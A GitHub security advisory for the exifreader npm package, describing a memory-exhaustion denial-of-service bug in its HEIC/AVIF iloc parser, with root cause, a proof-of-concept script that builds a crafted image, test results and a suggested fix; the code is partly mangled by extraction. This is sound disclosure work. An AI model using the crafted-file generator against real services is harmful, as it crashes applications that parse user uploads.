GitHub Advisoryadvisory · npm

GHSA-pj96-35fp-cfcc ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

HIGH Published 2026-09-17 Modified 2026-09-17 Official page ↗
Aliases
CVE-2026-85715
Ecosystem
npm
Packages
exifreader
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-789, CWE-835
Reviewed
2026-09-17

Affected packages

• npm exifreader: < 4.41.1 → fixed in 4.41.1

Description

Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error. Affected version tested • npm package: `exifreader` • Version: `4.41.0` • Affected formats: HEIC, AVIF (ISO-BMFF container) Root cause File: `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`. The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15): | Field | Controls | |-------|----------| | `offsetSize` | Bytes per extent offset | | `lengthSize` | Bytes per extent length | | `baseOffsetSize` | Bytes per item base offset | | `indexSize` | Bytes per extent index | The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size: ```javascript for (let j = 0; j >> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; } const ITEMS = 10000; const EXTENTS = 65535; const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]); const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ]; for (let i = 0; i { console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`); process.exit(1); }, 30000); try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`); } catch (e) { clearTimeout(timeout); console.log(`Error: ${e.message}`); } ``` Scaled test results Run the above with different ITEMS values: | Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | Expected behavior A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget). Security impact This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected. Note: The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code. Suggested fix In `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit: ```javascript const MAX_EXTENTS_PER_ITEM = 10000; for (let j = 0; j = MAX_EXTENTS_PER_ITEM) { break; } // ... existing code ... } ``` Alternatively (or additionally), skip the inner loop when all extent field sizes are zero: ```javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; } ```

Related

Alias · CVE (1)

  • CVE-2026-85715 ExifReader is a JavaScript Exif information parser. vulnerability

Weakness · CWE (2)

  • CWE-789 Memory Allocation with Excessive Size Value weakness
  • CWE-835 Loop with Unreachable Exit Condition weakness

References